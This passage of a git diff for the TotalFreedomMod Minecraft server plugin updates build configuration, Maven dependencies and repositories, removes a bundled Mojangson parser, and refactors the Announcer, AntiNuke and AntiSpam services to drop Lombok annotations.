-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:1_8_R1Provider:2.16.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:1_8_R2Provider:2.16.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:LegacyProvider:2.16.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:ReflectionProvider:2.16.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:FlattenedProvider:2.16.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.dv8tion:JDA:4.0.0_39" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.google.code.findbugs:jsr305:3.0.2" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.jetbrains:annotations:16.0.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.slf4j:slf4j-api:1.7.25" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.neovisionaries:nv-websocket-client:2.5" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.squareup.okhttp3:okhttp:3.13.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.squareup.okio:okio:1.17.2" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: club.minnced:opus-java-api:1.0.4" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.dev.jna:jna:4.4.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: club.minnced:opus-java-natives:1.0.4" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.commons:commons-collections4:4.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.sf.trove4j:trove4j:3.0.3" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.fasterxml.jackson.core:jackson-databind:2.9.8" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.fasterxml.jackson.core:jackson-annotations:2.9.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.fasterxml.jackson.core:jackson-core:2.9.8" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.coreprotect:coreprotect:2.16.3" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q.worldguard:worldguard-bukkit:7.0.2" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q.worldguard:worldguard-core:7.0.2" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q.worldguard.worldguard-libs:core:7.0.2" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.flywaydb:flyway-core:3.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q:commandbook:2.3" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.destroystokyo.paper:paper-api:1.15.1-R0.1-SNAPSHOT" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: commons-lang:commons-lang:2.6" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.googlecode.json-simple:json-simple:1.1.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: junit:junit:4.10" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.hamcrest:hamcrest-core:1.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.google.guava:guava:21.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.google.code.gson:gson:2.8.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.md-5:bungeecord-chat:1.13-SNAPSHOT" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.yaml:snakeyaml:1.25" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.ow2.asm:asm:7.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.ow2.asm:asm-commons:7.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.ow2.asm:asm-tree:7.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.ow2.asm:asm-analysis:7.1" level="project" />
-    <orderEntry type="library" name="Maven: me.rayzr522:jsonmessage:1.0.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.github.vexsoftware:votifier:v1.9" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.github.ConnorLinfoot:ActionBarAPI:5b2d642d3d" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.goldtreeservers:worldguardextraflags:4.0.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.boydti:fawe-api:17.07.12-6b6f285-750-13.7.8" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:Essentials:2.13-SNAPSHOT" level="project" />
-  </component>
-</module>

checkstyle.xml

@@ -2,20 +2,16 @@
 <!DOCTYPE module PUBLIC
         "-//Puppy Crawl//DTD Check Configuration 1.3//EN"
         "http://www.puppycrawl.com/dtds/configuration_1_3.dtd">
-
 <module name="Checker">
     <property name="charset" value="UTF-8"/>
     <property name="severity" value="warning"/>
     <property name="fileExtensions" value="java, properties, xml"/>
-
     <module name="SuppressionFilter">
         <property name="file" value="supressions.xml"/>
     </module>
-
     <module name="FileTabCharacter">
         <property name="eachLine" value="true"/>
     </module>
-
     <module name="TreeWalker">
         <module name="OuterTypeFilename"/>
         <module name="IllegalTokenText">
@@ -91,7 +87,7 @@
                      value="Local variable name ''{0}'' must match pattern ''{1}''."/>
         </module>
         <module name="ClassTypeParameterName">
-            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <property name="format" value="(^[A-Z][a-zA-Z0-9]*$)|([A-Z][a-zA-Z0-9]*[_][a-zA-Z0-9]*$)"/>
             <message key="name.invalidPattern"
                      value="Class type name ''{0}'' must match pattern ''{1}''."/>
         </module>
@@ -112,7 +108,8 @@
                      value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
         </module>
         <module name="OverloadMethodsDeclarationOrder"/>
-        <module name="CustomImportOrder"/><!-- http://checkstyle.sourceforge.net/config_imports.html -->
+        <module name="CustomImportOrder"/>
+        <!-- http://checkstyle.sourceforge.net/config_imports.html -->
         <module name="MethodParamPad"/>
         <module name="OperatorWrap">
             <property name="option" value="NL"/>

nb-configuration.xml

@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project-shared-configuration>
+    <!--
+This file contains additional configuration written by modules in the NetBeans IDE.
+The configuration is intended to be shared among all the users of project and
+therefore it is assumed to be part of version control checkout.
+Without this configuration present, some functionality in the IDE may be limited or fail altogether.
+-->
+    <properties xmlns="http://www.netbeans.org/ns/maven-properties-data/1">
+        <!--
+Properties that influence various parts of the IDE, especially code formatting and the like. 
+You can copy and paste the single properties, into the pom.xml file and the IDE will pick them up.
+That way multiple projects can share the same settings (useful for formatting rules for example).
+Any value defined here will override the pom.xml file value but is only applicable to the current project.
+-->
+        <netbeans.hint.jdkPlatform>JDK_11</netbeans.hint.jdkPlatform>
+        <netbeans.checkstyle.format>true</netbeans.checkstyle.format>
+    </properties>
+</project-shared-configuration>

pom.xml

@@ -5,12 +5,12 @@
 
     <groupId>me.totalfreedom</groupId>
     <artifactId>TotalFreedomMod</artifactId>
-    <version>5.5</version>
+    <version>2021.09-RC03</version>
     <packaging>jar</packaging>
 
     <properties>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-        <tfm.build.codename>lttstore.com</tfm.build.codename>
+        <tfm.build.codename>Phoenix</tfm.build.codename>
         <jar.finalName>${project.name}</jar.finalName>
         <timestamp>${maven.build.timestamp}</timestamp>
         <maven.build.timestamp.format>MM/dd/yyyy HH:mm</maven.build.timestamp.format>
@@ -18,7 +18,7 @@
 
     <name>TotalFreedomMod</name>
     <description>Server modification for the TotalFreedom server</description>
-    <url>https://github.com/TotalFreedom/TotalFreedomMod</url>
+    <url>https://github.com/AtlasMediaGroup/TotalFreedomMod</url>
 
     <licenses>
         <license>
@@ -39,9 +39,20 @@
     </scm>
 
     <repositories>
+        
         <repository>
-            <id>jitpack.io</id>
-            <url>https://jitpack.io</url>
+            <id>atlas-nexus-01-totalfreedom-development</id>
+            <url>https://nexus-01.core.atlas-media.co.uk/repository/totalfreedom-development/</url>
+        </repository>
+
+        <repository>
+            <id>CodeMC</id>
+            <url>https://repo.codemc.org/repository/maven-public/</url>
+        </repository>
+
+        <repository>
+            <id>nms-repo</id>
+            <url>https://repo.codemc.org/repository/nms/</url>
         </repository>
 
         <repository>
@@ -56,18 +67,18 @@
 
         <repository>
             <id>elmakers-repo</id>
-            <url>http://maven.elmakers.com/repository/</url>
+            <url>https://maven.elmakers.com/repository/</url>
         </repository>
 
         <repository>
             <id>sk89q-snapshots</id>
-            <url>http://maven.sk89q.com/artifactory/repo</url>
+            <url>https://maven.sk89q.com/artifactory/repo</url>
         </repository>
 
         <repository>
-            <id>jcenter</id>
-            <name>jcenter-bintray</name>
-            <url>https://jcenter.bintray.com</url>
+            <id>dv8tion</id>
+            <name>m2-dv8tion</name>
+            <url>https://m2.dv8tion.net/releases/</url>
         </repository>
 
         <repository>
@@ -77,138 +88,111 @@
 
         <repository>
             <id>md_5-public</id>
-            <url>http://repo.md-5.net/content/groups/public/</url>
+            <url>https://repo.md-5.net/content/groups/public/</url>
         </repository>
 
         <repository>
             <id>dmulloy2-repo</id>
-            <url>http://repo.dmulloy2.net/nexus/repository/public/</url>
+            <url>https://repo.dmulloy2.net/nexus/repository/public/</url>
         </repository>
 
         <repository>
             <id>sk89q-repo</id>
-            <url>http://maven.sk89q.com/repo/</url>
+            <url>https://maven.sk89q.com/repo/</url>
         </repository>
 
         <repository>
-            <id>CodeMC</id>
-            <url>https://repo.codemc.org/repository/maven-public</url>
+            <id>esentialsx-repo</id>
+            <url>https://repo.essentialsx.net/releases/</url>
         </repository>
         
-        <repository>
-            <id>papermc</id>
-            <url>https://papermc.io/repo/repository/maven-public/</url>
-        </repository>
         
-        <repository>
-            <id>rayzr-repo</id>
-            <url>https://cdn.rawgit.com/Rayzr522/maven-repo/master/</url>
-        </repository>
     </repositories>
 
     <dependencies>
-        <dependency>
-            <groupId>org.projectlombok</groupId>
-            <artifactId>lombok</artifactId>
-            <version>1.18.0</version>
-            <scope>provided</scope>
-        </dependency>
 
         <dependency>
             <groupId>commons-io</groupId>
             <artifactId>commons-io</artifactId>
-            <version>2.6</version>
+            <version>2.11.0</version>
             <scope>compile</scope>
         </dependency>
 
         <dependency>
             <groupId>org.apache.commons</groupId>
             <artifactId>commons-lang3</artifactId>
-            <version>3.9</version>
+            <version>3.12.0</version>
             <scope>compile</scope>
         </dependency>
 
         <dependency>
             <groupId>commons-codec</groupId>
             <artifactId>commons-codec</artifactId>
-            <version>1.9</version>
+            <version>1.15</version>
+            <scope>compile</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.bstats</groupId>
+            <artifactId>bstats-bukkit</artifactId>
+            <version>2.2.1</version>
             <scope>compile</scope>
         </dependency>
 
         <dependency>
             <groupId>org.spigotmc</groupId>
             <artifactId>spigot</artifactId>
-            <version>1.15-R0.1-SNAPSHOT</version>
+            <version>1.16.5-R0.1-SNAPSHOT</version>
             <scope>provided</scope>
         </dependency>
 
         <dependency>
-            <groupId>com.github.Pravian</groupId>
-            <artifactId>Aero</artifactId>
-            <version>5f82926</version>
-            <scope>provided</scope>
-        </dependency>
-
-        <dependency>
-            <groupId>com.github.TotalFreedom</groupId>
+            <groupId>com.github.TotalFreedomMC</groupId>
             <artifactId>BukkitTelnet</artifactId>
-            <version>4.5-pre1</version>
+            <version>541e9fdb84</version>
             <scope>provided</scope>
         </dependency>
 
         <dependency>
-            <groupId>com.github.TFPatches</groupId>
+            <groupId>com.github.AtlasMediaGroup</groupId>
             <artifactId>TF-LibsDisguises</artifactId>
-            <version>11aea9b3cd</version>
+            <version>5a340341b0</version>
             <scope>provided</scope>
         </dependency>
 
         <dependency>
             <groupId>com.sk89q.worldedit</groupId>
             <artifactId>worldedit-bukkit</artifactId>
-            <version>7.1.0</version>
-            <scope>provided</scope>
-        </dependency>
-
-        <dependency>
-            <groupId>net.ess3</groupId>
-            <artifactId>EssentialsX</artifactId>
-            <version>2.16.1</version>
+            <version>7.2.4</version>
             <scope>provided</scope>
         </dependency>
 
         <dependency>
             <groupId>net.dv8tion</groupId>
             <artifactId>JDA</artifactId>
-            <version>4.0.0_39</version>
+            <version>4.2.1_255</version>
             <scope>provided</scope>
         </dependency>
 
         <dependency>
             <groupId>net.coreprotect</groupId>
             <artifactId>coreprotect</artifactId>
-            <version>2.16.3</version>
+            <version>19.5</version>
             <scope>provided</scope>
         </dependency>
 
         <dependency>
             <groupId>com.sk89q.worldguard</groupId>
             <artifactId>worldguard-bukkit</artifactId>
-            <version>7.0.2</version>
+            <version>7.0.4</version>
             <scope>provided</scope>
         </dependency>
 
         <dependency>
-            <groupId>com.destroystokyo.paper</groupId>
-            <artifactId>paper-api</artifactId>
-            <version>1.15.1-R0.1-SNAPSHOT</version>
-            <scope>provided</scope>
-        </dependency>
-
-        <dependency>
-            <groupId>me.rayzr522</groupId>
-            <artifactId>jsonmessage</artifactId>
-            <version>1.0.0</version>
+            <groupId>io.papermc</groupId>
+            <artifactId>paperlib</artifactId>
+            <version>1.0.6</version>
+            <scope>compile</scope>
         </dependency>
 
         <dependency>
@@ -219,19 +203,59 @@
         </dependency>
         
         <dependency>
-            <groupId>com.github.ConnorLinfoot</groupId>
-            <artifactId>ActionBarAPI</artifactId>
-            <version>5b2d642d3d</version>
-            <scope>provided</scope>
+            <groupId>net.ess3</groupId>
+            <artifactId>EssentialsX</artifactId>
+            <version>2.18.2</version>
+            <scope>compile</scope>
         </dependency>
 
         <dependency>
-            <groupId>net.goldtreeservers</groupId>
-            <artifactId>worldguardextraflags</artifactId>
-            <version>4.0.0</version>
-            <scope>provided</scope>
+            <groupId>org.reflections</groupId>
+            <artifactId>reflections</artifactId>
+            <version>0.9.12</version>
+            <scope>compile</scope>
         </dependency>
 
+        <dependency>
+            <groupId>org.javassist</groupId>
+            <artifactId>javassist</artifactId>
+            <version>3.28.0-GA</version>
+            <scope>compile</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>me.totalfreedom</groupId>
+            <artifactId>tfguilds</artifactId>
+            <version>2021.06-RC2</version>
+            <scope>compile</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.jetbrains</groupId>
+            <artifactId>annotations</artifactId>
+            <version>22.0.0</version>
+            <scope>compile</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.apache.maven.plugins</groupId>
+            <artifactId>maven-checkstyle-plugin</artifactId>
+            <version>3.1.2</version>
+            <scope>compile</scope>
+        </dependency>
+        
+        <dependency>
+            <groupId>org.junit.jupiter</groupId>
+            <artifactId>junit-jupiter</artifactId>
+            <version>5.8.0</version>
+            <scope>compile</scope>
+        </dependency>
+        
+        <dependency>
+            <groupId>org.eclipse.sisu</groupId>
+            <artifactId>org.eclipse.sisu.inject</artifactId>
+            <version>0.3.4</version>
+        </dependency>
     </dependencies>
 
     <build>
@@ -248,12 +272,12 @@
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-compiler-plugin</artifactId>
-                <version>3.7.0</version>
+                <version>3.8.1</version>
                 <configuration>
                     <outputFileName>TotalFreedomMod.jar</outputFileName>
-                    <compilerVersion>1.8</compilerVersion>
-                    <source>1.8</source>
-                    <target>1.8</target>
+                    <compilerVersion>11</compilerVersion>
+                    <source>11</source>
+                    <target>11</target>
                 </configuration>
             </plugin>
 
@@ -261,7 +285,7 @@
             <plugin>
                 <groupId>pl.project13.maven</groupId>
                 <artifactId>git-commit-id-plugin</artifactId>
-                <version>2.2.5</version>
+                <version>4.9.10</version>
                 <executions>
                     <execution>
                         <id>get-the-git-infos</id>
@@ -302,7 +326,7 @@
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-antrun-plugin</artifactId>
-                <version>1.8</version>
+                <version>3.0.0</version>
                 <executions>
                     <execution>
                         <id>default-cli</id>
@@ -316,7 +340,8 @@
                                     <entry key="buildCodeName" value="${tfm.build.codename}"/>
                                     <entry key="buildVersion" value="${project.version}"/>
                                     <entry key="buildDate" value="${timestamp}"/>
-                                    <!--<entry key="buildHead" value="${git.commit.id.abbrev}"/>-->
+                                    <!--suppress UnresolvedMavenProperty -->
+                                    <entry key="buildHead" value="${git.commit.id.abbrev}"/>
                                 </propertyfile>
                             </target>
                         </configuration>
@@ -376,7 +401,7 @@
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-shade-plugin</artifactId>
-            <version>2.4.3</version>
+                <version>3.2.4</version>
                 <executions>
                     <execution>
                         <phase>package</phase>
@@ -385,11 +410,28 @@
                         </goals>
                         <configuration>
                             <minimizeJar>true</minimizeJar>
+                            <relocations>
+                                <relocation>
+                                    <pattern>io.papermc.lib</pattern>
+                                    <shadedPattern>me.totalfreedom.totalfreedommod.paperlib
+                                    </shadedPattern> <!-- Replace this -->
+                                </relocation>
+                                <relocation>
+                                    <pattern>org.bstats</pattern>
+                                    <shadedPattern>me.totalfreedom.totalfreedommod</shadedPattern>
+                                </relocation>
+                            </relocations>
                             <artifactSet>
                                 <includes>
                                     <include>commons-io:commons-io</include>
                                     <include>org.apache.commons:commons-lang3</include>
                                     <include>commons-codec:commons-codec</include>
+                                    <include>org.reflections:reflections</include>
+                                    <include>org.javassist:javassist</include>
+                                    <include>io.papermc:paperlib</include>
+                                    <include>org.bstats:bstats-bukkit</include>
+                                    <include>org.bstats:bstats-base</include>
+                                    <include>org.jetbrains:annotations</include>
                                 </includes>
                             </artifactSet>
                         </configuration>
@@ -405,8 +447,8 @@
         <plugins>
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
-                <version>2.17</version>
                 <artifactId>maven-checkstyle-plugin</artifactId>
+                <version>3.1.2</version>
                 <configuration>
                     <configLocation>checkstyle.xml</configLocation>
                     <failOnViolation>true</failOnViolation>

src/main/java/ca/momothereal/mojangson/MojangsonFinder.java

@@ -1,23 +0,0 @@
-package ca.momothereal.mojangson;
-
-import ca.momothereal.mojangson.ex.MojangsonParseException;
-import ca.momothereal.mojangson.value.MojangsonString;
-import ca.momothereal.mojangson.value.MojangsonValue;
-
-public class MojangsonFinder
-{
-
-    /**
-     * Automatically detects the appropriate MojangsonValue from the given value.
-     *
-     * @param value The value to parse
-     * @return The resulting MojangsonValue. If the type couldn't be found, it falls back to MojangsonString
-     * @throws MojangsonParseException if the given value could not be parsed
-     */
-    public static MojangsonValue readFromValue(String value) throws MojangsonParseException
-    {
-        MojangsonValue val = new MojangsonString();
-        val.read(value);
-        return val;
-    }
-}

src/main/java/ca/momothereal/mojangson/MojangsonToken.java

@@ -1,53 +0,0 @@
-package ca.momothereal.mojangson;
-
-public enum MojangsonToken
-{
-
-    COMPOUND_START(0, "Compound_Start", '{'),
-    COMPOUND_END(1, "Compound_End", '}'),
-    ELEMENT_SEPERATOR(2, "Element_Seperator", ','),
-    ARRAY_START(3, "Array_Start", '['),
-    ARRAY_END(4, "Array_End", ']'),
-    ELEMENT_PAIR_SEPERATOR(5, "Pair_Seperator", ':'),
-
-    STRING_QUOTES(6, "String_Quotes", '\"'),
-    DOUBLE_SUFFIX(8, "Double_Suffix", 'd'),
-    BYTE_SUFFIX(9, "Byte_Suffix", 'b'),
-    FLOAT_SUFFIX(10, "Float_Suffix", 'f'),
-    SHORT_SUFFIX(11, "Short_Suffix", 's'),
-    LONG_SUFFIX(12, "Long_Suffix", 'l'),
-
-    WHITE_SPACE(13, "WhiteSpace", ' ');
-
-    private int id;
-    private String name;
-    private char symbol;
-
-    MojangsonToken(int id, String name, char symbol)
-    {
-        this.id = id;
-        this.name = name;
-        this.symbol = symbol;
-    }
-
-    public int getId()
-    {
-        return id;
-    }
-
-    public String getName()
-    {
-        return name;
-    }
-
-    public char getSymbol()
-    {
-        return symbol;
-    }
-
-    @Override
-    public String toString()
-    {
-        return String.valueOf(symbol);
-    }
-}

src/main/java/ca/momothereal/mojangson/ex/MojangsonParseException.java

@@ -1,42 +0,0 @@
-package ca.momothereal.mojangson.ex;
-
-public class MojangsonParseException extends Exception
-{
-
-    private ParseExceptionReason reason;
-
-    public MojangsonParseException(String message, ParseExceptionReason reason)
-    {
-        super(message);
-        this.reason = reason;
-    }
-
-    public ParseExceptionReason getReason()
-    {
-        return reason;
-    }
-
-    @Override
-    public String getMessage()
-    {
-        return reason.getMessage() + ": " + super.getMessage();
-    }
-
-    public enum ParseExceptionReason
-    {
-        INVALID_FORMAT_NUM("Given value is not numerical"),
-        UNEXPECTED_SYMBOL("Unexpected symbol in Mojangson string");
-
-        private String message;
-
-        ParseExceptionReason(String message)
-        {
-            this.message = message;
-        }
-
-        public String getMessage()
-        {
-            return message;
-        }
-    }
-}

src/main/java/ca/momothereal/mojangson/value/MojangsonCompound.java

@@ -1,144 +0,0 @@
-package ca.momothereal.mojangson.value;
-
-import ca.momothereal.mojangson.MojangsonFinder;
-import ca.momothereal.mojangson.ex.MojangsonParseException;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import static ca.momothereal.mojangson.MojangsonToken.*;
-
-public class MojangsonCompound extends HashMap<String, List<MojangsonValue>> implements MojangsonValue<Map<String, MojangsonValue>>
-{
-
-    private final int C_COMPOUND_START = 0;      // Parsing context
-    private final int C_COMPOUND_PAIR_KEY = 1;   // Parsing context
-    private final int C_COMPOUND_PAIR_VALUE = 2; // Parsing context
-
-    public MojangsonCompound()
-    {
-
-    }
-
-    public MojangsonCompound(Map map)
-    {
-        super(map);
-    }
-
-    @Override
-    public void write(StringBuilder builder)
-    {
-        builder.append(COMPOUND_START);
-        boolean start = true;
-
-        for (String key : keySet())
-        {
-            if (start)
-            {
-                start = false;
-            }
-            else
-            {
-                builder.append(ELEMENT_SEPERATOR);
-            }
-
-            builder.append(key).append(ELEMENT_PAIR_SEPERATOR);
-            List<MojangsonValue> value = get(key);
-            for (MojangsonValue val : value)
-            {
-                val.write(builder);
-            }
-        }
-        builder.append(COMPOUND_END);
-    }
-
-    @Override
-    public void read(String string) throws MojangsonParseException
-    {
-        int context = C_COMPOUND_START;
-        String tmp_key = "", tmp_val = "";
-        int scope = 0;
-        boolean inString = false;
-
-        for (int index = 0; index < string.length(); index++)
-        {
-            Character character = string.charAt(index);
-
-            if (character == STRING_QUOTES.getSymbol())
-            {
-                inString = !inString;
-            }
-            if (character == WHITE_SPACE.getSymbol())
-            {
-                if (!inString)
-                {
-                    continue;
-                }
-            }
-            if ((character == COMPOUND_START.getSymbol() || character == ARRAY_START.getSymbol()) && !inString)
-            {
-                scope++;
-            }
-            if ((character == COMPOUND_END.getSymbol() || character == ARRAY_END.getSymbol()) && !inString)
-            {
-                scope--;
-            }
-            if (context == C_COMPOUND_START)
-            {
-                if (character != COMPOUND_START.getSymbol())
-                {
-                    parseException(index, character);
-                    return;
-                }
-                context++;
-                continue;
-            }
-            if (context == C_COMPOUND_PAIR_KEY)
-            {
-                if (character == ELEMENT_PAIR_SEPERATOR.getSymbol() && scope <= 1)
-                {
-                    context++;
-                    continue;
-                }
-                tmp_key += character;
-                continue;
-            }
-            if (context == C_COMPOUND_PAIR_VALUE)
-            {
-                if ((character == ELEMENT_SEPERATOR.getSymbol() || character == COMPOUND_END.getSymbol()) && scope <= 1 && !inString)
-                {
-                    context = C_COMPOUND_PAIR_KEY;
-                    computeIfAbsent(tmp_key, k -> new ArrayList<>()).add(MojangsonFinder.readFromValue(tmp_val));
-                    tmp_key = tmp_val = "";
-                    continue;
-                }
-                tmp_val += character;
-            }
-        }
-    }
-
-    @Override
-    public Map<String, MojangsonValue> getValue()
-    {
-        HashMap<String, MojangsonValue> hack = new HashMap<>();
-        for (String string : keySet())
-        {
-            for (MojangsonValue value : get(string))
-            {
-                hack.put(string, value);
-            }
-        }
-        return hack;
-    }
-
-    @Override
-    public Class getValueClass()
-    {
-        return Map.class;
-    }
-
-    private void parseException(int index, char symbol) throws MojangsonParseException
-    {
-        throw new MojangsonParseException("Index: " + index + ", symbol: \'" + symbol + "\'", MojangsonParseException.ParseExceptionReason.UNEXPECTED_SYMBOL);
-    }
-}

src/main/java/ca/momothereal/mojangson/value/MojangsonString.java

@@ -1,57 +0,0 @@
-package ca.momothereal.mojangson.value;
-
-import ca.momothereal.mojangson.MojangsonToken;
-import ca.momothereal.mojangson.ex.MojangsonParseException;
-
-public class MojangsonString implements MojangsonValue<String>
-{
-    private String value;
-
-    public MojangsonString()
-    {
-
-    }
-
-    public MojangsonString(String value)
-    {
-        this.value = value;
-    }
-
-    public String getValue()
-    {
-        return value;
-    }
-
-    public void setValue(String value)
-    {
-        this.value = value;
-    }
-
-    @Override
-    public void write(StringBuilder builder)
-    {
-        builder.append(MojangsonToken.STRING_QUOTES).append(value).append(MojangsonToken.STRING_QUOTES);
-    }
-
-    @Override
-    public Class getValueClass()
-    {
-        return String.class;
-    }
-
-    @Override
-    public void read(String string) throws MojangsonParseException
-    {
-        Character lastChar = string.charAt(string.length() - 1);
-        Character firstChar = string.charAt(0);
-
-        if (firstChar == MojangsonToken.STRING_QUOTES.getSymbol() && lastChar == MojangsonToken.STRING_QUOTES.getSymbol())
-        {
-            value = string.substring(1, string.length() - 1);
-        }
-        else
-        {
-            value = string;
-        }
-    }
-}

src/main/java/ca/momothereal/mojangson/value/MojangsonValue.java

@@ -1,42 +0,0 @@
-package ca.momothereal.mojangson.value;
-
-import ca.momothereal.mojangson.ex.MojangsonParseException;
-
-/**
- * Represents a value inside a compound or array.
- *
- * @param <T> The type of value this MojangsonValue holds
- */
-public interface MojangsonValue<T>
-{
-
-    /**
-     * Writes the value to a StringBuilder buffer.
-     *
-     * @param builder The buffer to write to
-     */
-    void write(StringBuilder builder);
-
-    /**
-     * Parses and updates the current value to the given string representation
-     *
-     * @param string The string representation of the value
-     * @throws MojangsonParseException if the given value cannot be parsed
-     */
-    void read(String string) throws MojangsonParseException;
-
-    /**
-     * Gets the current literal value
-     *
-     * @return The current literal value of the MojangsonValue
-     */
-    T getValue();
-
-    /**
-     * Gets the literal value's class
-     *
-     * @return The literal value's class
-     */
-    Class getValueClass();
-
-}

src/main/java/me/totalfreedom/totalfreedommod/Announcer.java

@@ -3,7 +3,6 @@ package me.totalfreedom.totalfreedommod;
 import com.google.common.collect.Lists;
 import java.util.Collections;
 import java.util.List;
-import lombok.Getter;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.util.FUtil;
 import org.bukkit.scheduler.BukkitRunnable;
@@ -13,21 +12,13 @@ public class Announcer extends FreedomService
 {
 
     private final List<String> announcements = Lists.newArrayList();
-    @Getter
     private boolean enabled;
-    @Getter
     private long interval;
-    @Getter
     private String prefix;
     private BukkitTask announcer;
 
-    public Announcer(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
         enabled = ConfigEntry.ANNOUNCER_ENABLED.getBoolean();
         interval = ConfigEntry.ANNOUNCER_INTERVAL.getInteger() * 20L;
@@ -64,7 +55,7 @@ public class Announcer extends FreedomService
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
         if (announcer == null)
         {
@@ -85,4 +76,23 @@ public class Announcer extends FreedomService
         FUtil.bcastMsg(prefix + message);
     }
 
+    public boolean isEnabled()
+    {
+        return enabled;
+    }
+
+    public long getInterval()
+    {
+        return interval;
+    }
+
+    public String getPrefix()
+    {
+        return prefix;
+    }
+
+    public BukkitTask getAnnouncer()
+    {
+        return announcer;
+    }
 }

src/main/java/me/totalfreedom/totalfreedommod/AntiNuke.java

@@ -4,7 +4,6 @@ import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.player.FPlayer;
 import me.totalfreedom.totalfreedommod.util.FUtil;
 import org.bukkit.ChatColor;
-import org.bukkit.Location;
 import org.bukkit.entity.Player;
 import org.bukkit.event.EventHandler;
 import org.bukkit.event.EventPriority;
@@ -13,19 +12,13 @@ import org.bukkit.event.block.BlockPlaceEvent;
 
 public class AntiNuke extends FreedomService
 {
-
-    public AntiNuke(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -49,7 +42,6 @@ public class AntiNuke extends FreedomService
             fPlayer.resetBlockDestroyCount();
 
             event.setCancelled(true);
-            return;
         }
     }
 

src/main/java/me/totalfreedom/totalfreedommod/AntiSpam.java

@@ -1,5 +1,6 @@
 package me.totalfreedom.totalfreedommod;
 
+import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.player.FPlayer;
 import me.totalfreedom.totalfreedommod.util.FSync;
 import me.totalfreedom.totalfreedommod.util.FUtil;
@@ -9,31 +10,23 @@ import org.bukkit.event.EventHandler;
 import org.bukkit.event.EventPriority;
 import org.bukkit.event.player.AsyncPlayerChatEvent;
 import org.bukkit.event.player.PlayerCommandPreprocessEvent;
-import org.bukkit.event.player.PlayerKickEvent;
-import org.bukkit.event.player.PlayerLoginEvent;
-import org.bukkit.event.player.PlayerLoginEvent.Result;
 import org.bukkit.scheduler.BukkitRunnable;
 import org.bukkit.scheduler.BukkitTask;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
+
+import java.util.HashMap;
+import java.util.Map;
 
